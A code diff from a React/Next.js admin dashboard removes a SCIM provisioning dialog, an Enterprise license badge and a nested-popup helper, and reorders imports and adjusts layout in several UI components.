<Layers className="h-4 w-4 mr-2" /> <Layers className="h-4 w-4 mr-2" />
Services Services
</Button> </Button>

View File

@@ -110,7 +110,7 @@ export function NodeCard({ node, serverId }: Props) {
</div> </div>
</div> </div>
<div className="flex justify-end w-full gap-4"> <div className="flex justify-end w-full space-x-4">
<ShowNodeConfig nodeId={node.ID} serverId={serverId} /> <ShowNodeConfig nodeId={node.ID} serverId={serverId} />
<ShowNodeApplications serverId={serverId} /> <ShowNodeApplications serverId={serverId} />
</div> </div>

View File

@@ -24,7 +24,7 @@ export const ShowNodeConfig = ({ nodeId, serverId }: Props) => {
return ( return (
<Dialog> <Dialog>
<DialogTrigger asChild> <DialogTrigger asChild>
<Button variant="outline" size="sm"> <Button variant="outline" size="sm" className="w-full">
<Settings className="h-4 w-4 mr-2" /> <Settings className="h-4 w-4 mr-2" />
Config Config
</Button> </Button>

View File

@@ -41,7 +41,6 @@ import Link from "next/link";
import { usePathname } from "next/navigation"; import { usePathname } from "next/navigation";
import { useEffect, useState } from "react"; import { useEffect, useState } from "react";
import { toast } from "sonner"; import { toast } from "sonner";
import { Badge } from "@/components/ui/badge";
import { import {
Breadcrumb, Breadcrumb,
BreadcrumbItem, BreadcrumbItem,
@@ -565,8 +564,6 @@ function SidebarLogo() {
const { isMobile } = useSidebar(); const { isMobile } = useSidebar();
const isCollapsed = state === "collapsed" && !isMobile; const isCollapsed = state === "collapsed" && !isMobile;
const { data: activeOrganization } = api.organization.active.useQuery(); const { data: activeOrganization } = api.organization.active.useQuery();
const { data: haveValidLicense } =
api.licenseKey.haveValidLicenseKey.useQuery();
const { data: invitations, refetch: refetchInvitations } = const { data: invitations, refetch: refetchInvitations } =
api.user.getInvitations.useQuery(); api.user.getInvitations.useQuery();
@@ -632,14 +629,9 @@ function SidebarLogo() {
isCollapsed && "hidden", isCollapsed && "hidden",
)} )}
> >
<div className="flex items-center gap-1.5"> <p className="text-sm font-medium leading-none">
<p className="text-sm font-medium leading-none"> {activeOrganization?.name ?? "Select Organization"}
{activeOrganization?.name ?? "Select Organization"} </p>
</p>
{haveValidLicense && (
<Badge variant="blue">Enterprise</Badge>
)}
</div>
</div> </div>
</div> </div>
<ChevronsUpDown <ChevronsUpDown
@@ -648,7 +640,7 @@ function SidebarLogo() {
</SidebarMenuButton> </SidebarMenuButton>
</DropdownMenuTrigger> </DropdownMenuTrigger>
<DropdownMenuContent <DropdownMenuContent
className="w-64 rounded-lg max-h-[min(70vh,28rem)] flex flex-col" className="rounded-lg max-h-[min(70vh,28rem)] flex flex-col"
align="start" align="start"
side={isMobile ? "bottom" : "right"} side={isMobile ? "bottom" : "right"}
sideOffset={4} sideOffset={4}

View File

@@ -1,235 +0,0 @@
"use client";
import copy from "copy-to-clipboard";
import { Copy, KeyRound, Loader2, Plus, Trash2 } from "lucide-react";
import { type ReactNode, useState } from "react";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";
import { Button } from "@/components/ui/button";
import {
Dialog,
DialogContent,
DialogDescription,
DialogFooter,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import { Input } from "@/components/ui/input";
import { Label } from "@/components/ui/label";
import { api } from "@/utils/api";
import { useUrl } from "@/utils/hooks/use-url";
interface Props {
children: ReactNode;
}
export const ScimDialog = ({ children }: Props) => {
const utils = api.useUtils();
const baseURL = useUrl();
const [open, setOpen] = useState(false);
const [newProviderId, setNewProviderId] = useState("");
const [justCreatedToken, setJustCreatedToken] = useState<{
providerId: string;
token: string;
} | null>(null);
const { data: providers = [], isPending } = api.scim.listProviders.useQuery(
undefined,
{ enabled: open },
);
const { mutateAsync: generateToken, isPending: isGenerating } =
api.scim.generateToken.useMutation();
const { mutateAsync: deleteProvider, isPending: isDeleting } =
api.scim.deleteProvider.useMutation();
const scimUrl = `${baseURL || "{baseURL}"}/api/auth/scim/v2`;
const handleGenerate = async () => {
const providerId = newProviderId.trim().toLowerCase();
if (!providerId) return;
try {
const result = await generateToken({ providerId });
setJustCreatedToken({
providerId: result.providerId,
token: result.scimToken,
});
setNewProviderId("");
await utils.scim.listProviders.invalidate();
} catch (err) {
toast.error(
err instanceof Error ? err.message : "Failed to generate SCIM token",
);
}
};
const handleDelete = async (providerId: string) => {
try {
await deleteProvider({ providerId });
toast.success("SCIM provider removed");
await utils.scim.listProviders.invalidate();
} catch (err) {
toast.error(
err instanceof Error ? err.message : "Failed to delete SCIM provider",
);
}
};
const handleCopy = (value: string, label: string) => {
copy(value);
toast.success(`${label} copied`);
};
const handleOpenChange = (next: boolean) => {
setOpen(next);
if (!next) setJustCreatedToken(null);
};
return (
<Dialog open={open} onOpenChange={handleOpenChange}>
<DialogTrigger asChild>{children}</DialogTrigger>
<DialogContent className="sm:max-w-[560px]">
<DialogHeader>
<DialogTitle className="flex items-center gap-2">
<KeyRound className="size-5" />
SCIM provisioning
</DialogTitle>
<DialogDescription>
Automatically provision, update, and deactivate users from your
identity provider (Okta, Entra ID, etc.). Configure the SCIM
endpoint below in your IdP.
</DialogDescription>
</DialogHeader>
<div className="space-y-4 py-2">
<div className="grid gap-1">
<Label className="text-xs font-medium text-muted-foreground">
SCIM 2.0 endpoint URL
</Label>
<div className="flex items-center gap-2">
<p className="flex-1 break-all rounded-md bg-muted px-2 py-1.5 font-mono text-xs">
{scimUrl}
</p>
<Button
variant="outline"
size="icon"
className="size-8 shrink-0"
onClick={() => handleCopy(scimUrl, "Endpoint URL")}
disabled={!baseURL}
>
<Copy className="size-3.5" />
</Button>
</div>
</div>
{justCreatedToken && (
<div className="rounded-md border border-amber-500/40 bg-amber-500/10 p-3">
<p className="text-sm font-medium">
Bearer token for {justCreatedToken.providerId}
</p>
<p className="mt-1 text-xs text-muted-foreground">
Copy this token now it will not be shown again. Paste it into
your IdP's SCIM configuration.
</p>
<div className="mt-2 flex items-center gap-2">
<p className="flex-1 break-all rounded-md bg-background px-2 py-1.5 font-mono text-xs">
{justCreatedToken.token}
</p>
<Button
variant="outline"
size="icon"
className="size-8 shrink-0"
onClick={() =>
handleCopy(justCreatedToken.token, "Bearer token")
}
>
<Copy className="size-3.5" />
</Button>
</div>
</div>
)}
<div className="space-y-2">
<Label className="text-sm font-medium">
Generate token for a new provider
</Label>
<div className="flex gap-2">
<Input
value={newProviderId}
onChange={(e) => setNewProviderId(e.target.value)}
placeholder="okta, entra, jumpcloud..."
className="font-mono text-sm"
onKeyDown={(e) => {
if (e.key === "Enter") {
e.preventDefault();
void handleGenerate();
}
}}
/>
<Button
size="sm"
onClick={handleGenerate}
disabled={!newProviderId.trim() || isGenerating}
>
<Plus className="mr-1 size-4" />
Generate
</Button>
</div>
<p className="text-xs text-muted-foreground">
Choose a unique identifier for this IdP connection (lowercase,
alphanumeric, dashes).
</p>
</div>
<div className="space-y-2">
<Label className="text-sm font-medium">Existing providers</Label>
{isPending ? (
<div className="flex items-center gap-2 justify-center py-4">
<Loader2 className="size-4 animate-spin text-muted-foreground" />
<span className="text-sm text-muted-foreground">
Loading...
</span>
</div>
) : providers.length === 0 ? (
<p className="rounded-md border border-dashed bg-muted/30 px-3 py-4 text-center text-sm text-muted-foreground">
No SCIM providers configured yet.
</p>
) : (
<ul className="flex flex-col gap-2">
{providers.map((provider) => (
<li
key={provider.id}
className="flex items-center gap-2 rounded-md border bg-muted/30 px-3 py-2"
>
<span className="flex-1 font-mono text-sm">
{provider.providerId}
</span>
<DialogAction
title="Remove SCIM provider"
description={`Remove "${provider.providerId}"? Existing provisioned users will stay but the IdP will no longer be able to sync.`}
type="destructive"
onClick={() => handleDelete(provider.providerId)}
>
<Button
variant="ghost"
size="icon"
className="size-8 shrink-0 text-destructive hover:text-destructive"
disabled={isDeleting}
>
<Trash2 className="size-3.5" />
</Button>
</DialogAction>
</li>
))}
</ul>
)}
</div>
</div>
<DialogFooter>
<Button variant="outline" onClick={() => handleOpenChange(false)}>
Close
</Button>
</DialogFooter>
</DialogContent>
</Dialog>
);
};

View File

@@ -2,7 +2,6 @@
import { import {
Eye, Eye,
KeyRound,
Loader2, Loader2,
LogIn, LogIn,
Pencil, Pencil,
@@ -35,7 +34,6 @@ import { api } from "@/utils/api";
import { useUrl } from "@/utils/hooks/use-url"; import { useUrl } from "@/utils/hooks/use-url";
import { RegisterOidcDialog } from "./register-oidc-dialog"; import { RegisterOidcDialog } from "./register-oidc-dialog";
import { RegisterSamlDialog } from "./register-saml-dialog"; import { RegisterSamlDialog } from "./register-saml-dialog";
import { ScimDialog } from "./scim-dialog";
type ProviderForDetails = { type ProviderForDetails = {
id: string | null; id: string | null;
@@ -171,22 +169,15 @@ export const SSOSettings = () => {
Users can sign in with their organization&apos;s IdP. Users can sign in with their organization&apos;s IdP.
</CardDescription> </CardDescription>
</div> </div>
<div className="flex flex-wrap gap-2 shrink-0"> <Button
<Button variant="outline"
variant="outline" size="sm"
size="sm" onClick={() => setManageOriginsOpen(true)}
onClick={() => setManageOriginsOpen(true)} className="shrink-0"
> >
<Shield className="mr-2 size-4" /> <Shield className="mr-2 size-4" />
Manage origins Manage origins
</Button> </Button>
<ScimDialog>
<Button variant="outline" size="sm">
<KeyRound className="mr-2 size-4" />
Manage SCIM
</Button>
</ScimDialog>
</div>
</div> </div>
{isPending ? ( {isPending ? (

View File

@@ -94,10 +94,9 @@ export function TagFilter({
<CommandEmpty> <CommandEmpty>
<div className="flex flex-col items-center gap-2 py-1"> <div className="flex flex-col items-center gap-2 py-1">
<span className="text-sm text-muted-foreground"> <span className="text-sm text-muted-foreground">
{tags.length === 0 No tags found.
? "No tags created yet."
: "No tags found."}
</span> </span>
<HandleTag />
</div> </div>
</CommandEmpty> </CommandEmpty>
<CommandGroup> <CommandGroup>
@@ -119,9 +118,6 @@ export function TagFilter({
); );
})} })}
</CommandGroup> </CommandGroup>
<div className="flex items-center justify-center p-2 border-t">
<HandleTag />
</div>
</CommandList> </CommandList>
</Command> </Command>
</PopoverContent> </PopoverContent>

View File

@@ -111,12 +111,19 @@ export function TagSelector({
<CommandEmpty> <CommandEmpty>
<div className="flex flex-col items-center gap-2 py-1"> <div className="flex flex-col items-center gap-2 py-1">
<span className="text-sm text-muted-foreground"> <span className="text-sm text-muted-foreground">
{tags.length === 0 No tags found.
? "No tags created yet."
: "No tags found."}
</span> </span>
<HandleTag />
</div> </div>
</CommandEmpty> </CommandEmpty>
{tags.length === 0 && (
<div className="flex flex-col items-center gap-2 py-4">
<span className="text-sm text-muted-foreground">
No tags created yet.
</span>
<HandleTag />
</div>
)}
<CommandGroup> <CommandGroup>
{tags.map((tag) => { {tags.map((tag) => {
const isSelected = selectedTags.includes(tag.id); const isSelected = selectedTags.includes(tag.id);
@@ -146,9 +153,6 @@ export function TagSelector({
); );
})} })}
</CommandGroup> </CommandGroup>
<div className="flex items-center justify-center p-2 border-t">
<HandleTag />
</div>
</CommandList> </CommandList>
</Command> </Command>
</PopoverContent> </PopoverContent>

View File

@@ -1,7 +1,8 @@
import { ChevronDownIcon, ChevronUpIcon } from "lucide-react"; import * as React from "react";
import { Accordion as AccordionPrimitive } from "radix-ui"; import { Accordion as AccordionPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";
import { ChevronDownIcon, ChevronUpIcon } from "lucide-react";
function Accordion({ function Accordion({
className, className,

View File

@@ -1,9 +1,10 @@
"use client"; "use client";
import * as React from "react";
import { AlertDialog as AlertDialogPrimitive } from "radix-ui"; import { AlertDialog as AlertDialogPrimitive } from "radix-ui";
import type * as React from "react";
import { Button } from "@/components/ui/button";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";
import { Button } from "@/components/ui/button";
function AlertDialog({ function AlertDialog({
...props ...props

View File

@@ -1,5 +1,5 @@
import * as React from "react";
import { cva, type VariantProps } from "class-variance-authority"; import { cva, type VariantProps } from "class-variance-authority";
import type * as React from "react";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";

View File

@@ -1,7 +1,7 @@
"use client"; "use client";
import * as React from "react";
import { Avatar as AvatarPrimitive } from "radix-ui"; import { Avatar as AvatarPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";

View File

@@ -1,7 +1,8 @@
import { ChevronRightIcon, MoreHorizontalIcon } from "lucide-react"; import * as React from "react";
import { Slot } from "radix-ui"; import { Slot } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";
import { ChevronRightIcon, MoreHorizontalIcon } from "lucide-react";
function Breadcrumb({ className, ...props }: React.ComponentProps<"nav">) { function Breadcrumb({ className, ...props }: React.ComponentProps<"nav">) {
return ( return (

View File

@@ -1,4 +1,4 @@
import type * as React from "react"; import * as React from "react";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";

View File

@@ -1,6 +1,6 @@
import * as React from "react"; import * as React from "react";
import type { TooltipValueType } from "recharts";
import * as RechartsPrimitive from "recharts"; import * as RechartsPrimitive from "recharts";
import type { TooltipValueType } from "recharts";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";

View File

@@ -1,9 +1,10 @@
"use client"; "use client";
import { CheckIcon } from "lucide-react"; import * as React from "react";
import { Checkbox as CheckboxPrimitive } from "radix-ui"; import { Checkbox as CheckboxPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";
import { CheckIcon } from "lucide-react";
function Checkbox({ function Checkbox({
className, className,

View File

@@ -1,8 +1,9 @@
"use client"; "use client";
import * as React from "react";
import { Command as CommandPrimitive } from "cmdk"; import { Command as CommandPrimitive } from "cmdk";
import { CheckIcon, SearchIcon } from "lucide-react";
import type * as React from "react"; import { cn } from "@/lib/utils";
import { import {
Dialog, Dialog,
DialogContent, DialogContent,
@@ -11,7 +12,7 @@ import {
DialogTitle, DialogTitle,
} from "@/components/ui/dialog"; } from "@/components/ui/dialog";
import { InputGroup, InputGroupAddon } from "@/components/ui/input-group"; import { InputGroup, InputGroupAddon } from "@/components/ui/input-group";
import { cn } from "@/lib/utils"; import { SearchIcon, CheckIcon } from "lucide-react";
function Command({ function Command({
className, className,
@@ -44,6 +45,10 @@ function CommandDialog({
}) { }) {
return ( return (
<Dialog {...props}> <Dialog {...props}>
<DialogHeader className="sr-only">
<DialogTitle>{title}</DialogTitle>
<DialogDescription>{description}</DialogDescription>
</DialogHeader>
<DialogContent <DialogContent
className={cn( className={cn(
"top-1/3 translate-y-0 overflow-hidden rounded-xl! p-0", "top-1/3 translate-y-0 overflow-hidden rounded-xl! p-0",
@@ -51,11 +56,7 @@ function CommandDialog({
)} )}
showCloseButton={showCloseButton} showCloseButton={showCloseButton}
> >
<DialogHeader className="sr-only"> {children}
<DialogTitle>{title}</DialogTitle>
<DialogDescription>{description}</DialogDescription>
</DialogHeader>
<Command>{children}</Command>
</DialogContent> </DialogContent>
</Dialog> </Dialog>
); );
@@ -67,7 +68,7 @@ function CommandInput({
}: React.ComponentProps<typeof CommandPrimitive.Input>) { }: React.ComponentProps<typeof CommandPrimitive.Input>) {
return ( return (
<div data-slot="command-input-wrapper" className="p-1 pb-0"> <div data-slot="command-input-wrapper" className="p-1 pb-0">
<InputGroup className="h-11! in-data-[slot=dialog-content]:h-12! rounded-lg! border-input/30 bg-input/30 shadow-none! *:data-[slot=input-group-addon]:pl-2! in-data-[slot=dialog-content]:*:[svg]:size-5"> <InputGroup className="h-11! rounded-lg! border-input/30 bg-input/30 shadow-none! *:data-[slot=input-group-addon]:pl-2!">
<CommandPrimitive.Input <CommandPrimitive.Input
data-slot="command-input" data-slot="command-input"
className={cn( className={cn(
@@ -121,7 +122,7 @@ function CommandGroup({
<CommandPrimitive.Group <CommandPrimitive.Group
data-slot="command-group" data-slot="command-group"
className={cn( className={cn(
"overflow-hidden p-1 text-foreground **:[[cmdk-group-heading]]:px-2 **:[[cmdk-group-heading]]:py-1.5 **:[[cmdk-group-heading]]:text-xs **:[[cmdk-group-heading]]:font-medium **:[[cmdk-group-heading]]:text-muted-foreground in-data-[slot=dialog-content]:**:[[cmdk-group]:not([hidden])_~[cmdk-group]]:pt-0", "overflow-hidden p-1 text-foreground **:[[cmdk-group-heading]]:px-2 **:[[cmdk-group-heading]]:py-1.5 **:[[cmdk-group-heading]]:text-xs **:[[cmdk-group-heading]]:font-medium **:[[cmdk-group-heading]]:text-muted-foreground",
className, className,
)} )}
{...props} {...props}
@@ -151,15 +152,13 @@ function CommandItem({
<CommandPrimitive.Item <CommandPrimitive.Item
data-slot="command-item" data-slot="command-item"
className={cn( className={cn(
"group/command-item relative flex cursor-default items-center gap-2 rounded-md px-2 py-1.5 in-data-[slot=dialog-content]:py-3 text-sm outline-hidden select-none in-data-[slot=dialog-content]:rounded-lg! data-[disabled=true]:pointer-events-none data-[disabled=true]:opacity-50 data-selected:bg-muted data-selected:text-foreground [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 in-data-[slot=dialog-content]:[&_svg:not([class*='size-'])]:size-5 data-selected:*:[svg]:text-foreground", "group/command-item relative flex cursor-default items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-hidden select-none in-data-[slot=dialog-content]:rounded-lg! data-[disabled=true]:pointer-events-none data-[disabled=true]:opacity-50 data-selected:bg-muted data-selected:text-foreground [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 data-selected:*:[svg]:text-foreground",
className, className,
)} )}
{...props} {...props}
> >
{children} {children}
{"data-checked" in props && ( <CheckIcon className="ml-auto opacity-0 group-has-data-[slot=command-shortcut]/command-item:hidden group-data-[checked=true]/command-item:opacity-100" />
<CheckIcon className="ml-auto opacity-0 group-has-data-[slot=command-shortcut]/command-item:hidden group-data-[checked=true]/command-item:opacity-100" />
)}
</CommandPrimitive.Item> </CommandPrimitive.Item>
); );
} }

View File

@@ -1,9 +1,10 @@
"use client"; "use client";
import { CheckIcon, ChevronRightIcon } from "lucide-react"; import * as React from "react";
import { ContextMenu as ContextMenuPrimitive } from "radix-ui"; import { ContextMenu as ContextMenuPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";
import { ChevronRightIcon, CheckIcon } from "lucide-react";
function ContextMenu({ function ContextMenu({
...props ...props

View File

@@ -1,9 +1,9 @@
import { XIcon } from "lucide-react"; import * as React from "react";
import { Dialog as DialogPrimitive } from "radix-ui"; import { Dialog as DialogPrimitive } from "radix-ui";
import type * as React from "react";
import { Button } from "@/components/ui/button";
import { wasNestedPopupJustClosed } from "@/components/ui/nested-popup-context";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";
import { Button } from "@/components/ui/button";
import { XIcon } from "lucide-react";
function Dialog({ function Dialog({
...props ...props
@@ -49,8 +49,6 @@ function DialogContent({
className, className,
children, children,
showCloseButton = true, showCloseButton = true,
onPointerDownOutside,
onEscapeKeyDown,
...props ...props
}: React.ComponentProps<typeof DialogPrimitive.Content> & { }: React.ComponentProps<typeof DialogPrimitive.Content> & {
showCloseButton?: boolean; showCloseButton?: boolean;
@@ -64,20 +62,6 @@ function DialogContent({
"fixed top-1/2 left-1/2 z-50 flex max-h-[90vh] w-full max-w-[calc(100%-2rem)] -translate-x-1/2 -translate-y-1/2 flex-col gap-4 overflow-y-auto overscroll-contain rounded-xl bg-popover p-6 text-sm text-popover-foreground ring-1 ring-foreground/10 duration-100 outline-none sm:max-w-lg data-open:animate-in data-open:fade-in-0 data-open:zoom-in-95 data-closed:animate-out data-closed:fade-out-0 data-closed:zoom-out-95", "fixed top-1/2 left-1/2 z-50 flex max-h-[90vh] w-full max-w-[calc(100%-2rem)] -translate-x-1/2 -translate-y-1/2 flex-col gap-4 overflow-y-auto overscroll-contain rounded-xl bg-popover p-6 text-sm text-popover-foreground ring-1 ring-foreground/10 duration-100 outline-none sm:max-w-lg data-open:animate-in data-open:fade-in-0 data-open:zoom-in-95 data-closed:animate-out data-closed:fade-out-0 data-closed:zoom-out-95",
className, className,
)} )}
onPointerDownOutside={(event) => {
if (wasNestedPopupJustClosed()) {
event.preventDefault();
return;
}
onPointerDownOutside?.(event);
}}
onEscapeKeyDown={(event) => {
if (wasNestedPopupJustClosed()) {
event.preventDefault();
return;
}
onEscapeKeyDown?.(event);
}}
{...props} {...props}
> >
{children} {children}

View File

@@ -1,25 +1,13 @@
import { CheckIcon, ChevronRightIcon } from "lucide-react"; import * as React from "react";
import { DropdownMenu as DropdownMenuPrimitive } from "radix-ui"; import { DropdownMenu as DropdownMenuPrimitive } from "radix-ui";
import type * as React from "react";
import { markNestedPopupClosed } from "@/components/ui/nested-popup-context";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";
import { CheckIcon, ChevronRightIcon } from "lucide-react";
function DropdownMenu({ function DropdownMenu({
onOpenChange,
...props ...props
}: React.ComponentProps<typeof DropdownMenuPrimitive.Root>) { }: React.ComponentProps<typeof DropdownMenuPrimitive.Root>) {
return ( return <DropdownMenuPrimitive.Root data-slot="dropdown-menu" {...props} />;
<DropdownMenuPrimitive.Root
data-slot="dropdown-menu"
onOpenChange={(open) => {
if (!open) {
markNestedPopupClosed();
}
onOpenChange?.(open);
}}
{...props}
/>
);
} }
function DropdownMenuPortal({ function DropdownMenuPortal({

View File

@@ -1,9 +1,9 @@
"use client"; "use client";
import { Accordion as AccordionPrimitive } from "radix-ui";
// import { ScrollArea } from "@acme/components/ui/scroll-area"; // import { ScrollArea } from "@acme/components/ui/scroll-area";
// import { cn } from "@acme/components/lib/utils"; // import { cn } from "@acme/components/lib/utils";
import { ChevronRight, type LucideIcon } from "lucide-react"; import { ChevronRight, type LucideIcon } from "lucide-react";
import { Accordion as AccordionPrimitive } from "radix-ui";
import React from "react"; import React from "react";
import useResizeObserver from "use-resize-observer"; import useResizeObserver from "use-resize-observer";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";

View File

@@ -1,4 +1,4 @@
import { type Label as LabelPrimitive, Slot } from "radix-ui"; import { Label as LabelPrimitive, Slot } from "radix-ui";
import * as React from "react"; import * as React from "react";
import { import {
Controller, Controller,

View File

@@ -1,11 +1,12 @@
"use client"; "use client";
import * as React from "react";
import { cva, type VariantProps } from "class-variance-authority"; import { cva, type VariantProps } from "class-variance-authority";
import type * as React from "react";
import { cn } from "@/lib/utils";
import { Button } from "@/components/ui/button"; import { Button } from "@/components/ui/button";
import { Input } from "@/components/ui/input"; import { Input } from "@/components/ui/input";
import { Textarea } from "@/components/ui/textarea"; import { Textarea } from "@/components/ui/textarea";
import { cn } from "@/lib/utils";
function InputGroup({ className, ...props }: React.ComponentProps<"div">) { function InputGroup({ className, ...props }: React.ComponentProps<"div">) {
return ( return (

View File

@@ -1,7 +1,8 @@
import { OTPInput, OTPInputContext } from "input-otp";
import { MinusIcon } from "lucide-react";
import * as React from "react"; import * as React from "react";
import { OTPInput, OTPInputContext } from "input-otp";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";
import { MinusIcon } from "lucide-react";
function InputOTP({ function InputOTP({
className, className,

View File

@@ -1,17 +1,13 @@
import copy from "copy-to-clipboard"; import { EyeIcon, EyeOffIcon, RefreshCcw } from "lucide-react";
import { Clipboard, EyeIcon, EyeOffIcon, RefreshCcw } from "lucide-react";
import * as React from "react"; import * as React from "react";
import { toast } from "sonner";
import { generateRandomPassword } from "@/lib/password-utils"; import { generateRandomPassword } from "@/lib/password-utils";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";
import { Button } from "./button";
export interface InputProps extends React.ComponentProps<"input"> { export interface InputProps extends React.ComponentProps<"input"> {
errorMessage?: string; errorMessage?: string;
enablePasswordGenerator?: boolean; enablePasswordGenerator?: boolean;
passwordGeneratorLength?: number; passwordGeneratorLength?: number;
enableCopyButton?: boolean;
} }
function Input({ function Input({
@@ -20,7 +16,6 @@ function Input({
errorMessage, errorMessage,
enablePasswordGenerator = false, enablePasswordGenerator = false,
passwordGeneratorLength, passwordGeneratorLength,
enableCopyButton = false,
ref, ref,
...props ...props
}: InputProps) { }: InputProps) {
@@ -70,67 +65,49 @@ function Input({
input.dispatchEvent(new Event("input", { bubbles: true })); input.dispatchEvent(new Event("input", { bubbles: true }));
}; };
const handleCopy = () => { return (
copy(inputRef.current?.value || ""); <>
toast.success("Value is copied to clipboard"); <div className="relative w-full">
}; <input
type={inputType}
const inputElement = ( data-slot="input"
<div className="relative w-full"> className={cn(
<input "h-10 w-full min-w-0 rounded-lg border border-input bg-transparent px-3 py-2 text-sm transition-colors outline-none file:inline-flex file:h-7 file:border-0 file:bg-transparent file:text-sm file:font-medium file:text-foreground placeholder:text-muted-foreground focus-visible:border-ring focus-visible:ring-3 focus-visible:ring-ring/50 disabled:pointer-events-none disabled:cursor-not-allowed disabled:bg-input/50 disabled:opacity-50 aria-invalid:border-destructive aria-invalid:ring-3 aria-invalid:ring-destructive/20 md:text-sm dark:bg-input/30 dark:disabled:bg-input/80 dark:aria-invalid:border-destructive/50 dark:aria-invalid:ring-destructive/40",
type={inputType} isPassword && (shouldShowGenerator ? "pr-16" : "pr-10"),
data-slot="input" className,
className={cn( )}
"h-10 w-full min-w-0 rounded-lg border border-input bg-transparent px-3 py-2 text-sm transition-colors outline-none file:inline-flex file:h-7 file:border-0 file:bg-transparent file:text-sm file:font-medium file:text-foreground placeholder:text-muted-foreground focus-visible:border-ring focus-visible:ring-3 focus-visible:ring-ring/50 disabled:pointer-events-none disabled:cursor-not-allowed disabled:bg-input/50 disabled:opacity-50 aria-invalid:border-destructive aria-invalid:ring-3 aria-invalid:ring-destructive/20 md:text-sm dark:bg-input/30 dark:disabled:bg-input/80 dark:aria-invalid:border-destructive/50 dark:aria-invalid:ring-destructive/40", ref={setRefs}
isPassword && (shouldShowGenerator ? "pr-16" : "pr-10"), {...props}
className, />
)} {isPassword && (
ref={setRefs} <div className="absolute inset-y-0 right-0 flex items-center gap-1 pr-3 text-muted-foreground">
{...props} {shouldShowGenerator && (
/> <button
{isPassword && ( type="button"
<div className="absolute inset-y-0 right-0 flex items-center gap-1 pr-3 text-muted-foreground"> className="hover:text-foreground focus:outline-none"
{shouldShowGenerator && ( onClick={handleGeneratePassword}
aria-label="Generate password"
title="Generate password"
tabIndex={-1}
>
<RefreshCcw className="h-4 w-4" />
</button>
)}
<button <button
type="button" type="button"
className="hover:text-foreground focus:outline-none" className="hover:text-foreground focus:outline-none"
onClick={handleGeneratePassword} onClick={() => setShowPassword(!showPassword)}
aria-label="Generate password"
title="Generate password"
tabIndex={-1} tabIndex={-1}
> >
<RefreshCcw className="h-4 w-4" /> {showPassword ? (
<EyeOffIcon className="h-4 w-4" />
) : (
<EyeIcon className="h-4 w-4" />
)}
</button> </button>
)} </div>
<button )}
type="button" </div>
className="hover:text-foreground focus:outline-none"
onClick={() => setShowPassword(!showPassword)}
tabIndex={-1}
>
{showPassword ? (
<EyeOffIcon className="h-4 w-4" />
) : (
<EyeIcon className="h-4 w-4" />
)}
</button>
</div>
)}
</div>
);
return (
<>
{enableCopyButton ? (
<div className="flex w-full items-center space-x-2">
{inputElement}
<Button type="button" variant={"secondary"} onClick={handleCopy}>
<Clipboard className="size-4 text-muted-foreground" />
</Button>
</div>
) : (
inputElement
)}
{errorMessage && ( {errorMessage && (
<span className="text-sm text-red-600 text-secondary-foreground"> <span className="text-sm text-red-600 text-secondary-foreground">
{errorMessage} {errorMessage}

View File

@@ -1,5 +1,5 @@
import * as React from "react";
import { Label as LabelPrimitive } from "radix-ui"; import { Label as LabelPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";

View File

@@ -1,9 +0,0 @@
let lastNestedPopupCloseAt = 0;
export function markNestedPopupClosed() {
lastNestedPopupCloseAt = performance.now();
}
export function wasNestedPopupJustClosed() {
return performance.now() - lastNestedPopupCloseAt < 100;
}

View File

@@ -1,26 +1,14 @@
"use client"; "use client";
import * as React from "react";
import { Popover as PopoverPrimitive } from "radix-ui"; import { Popover as PopoverPrimitive } from "radix-ui";
import type * as React from "react";
import { markNestedPopupClosed } from "@/components/ui/nested-popup-context";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";
function Popover({ function Popover({
onOpenChange,
...props ...props
}: React.ComponentProps<typeof PopoverPrimitive.Root>) { }: React.ComponentProps<typeof PopoverPrimitive.Root>) {
return ( return <PopoverPrimitive.Root data-slot="popover" {...props} />;
<PopoverPrimitive.Root
data-slot="popover"
onOpenChange={(open) => {
if (!open) {
markNestedPopupClosed();
}
onOpenChange?.(open);
}}
{...props}
/>
);
} }
function PopoverTrigger({ function PopoverTrigger({

View File

@@ -1,5 +1,5 @@
import * as React from "react";
import { Progress as ProgressPrimitive } from "radix-ui"; import { Progress as ProgressPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils"; import { cn } from "@/lib/utils";

Some files were not shown because too many files have changed in this diff Show More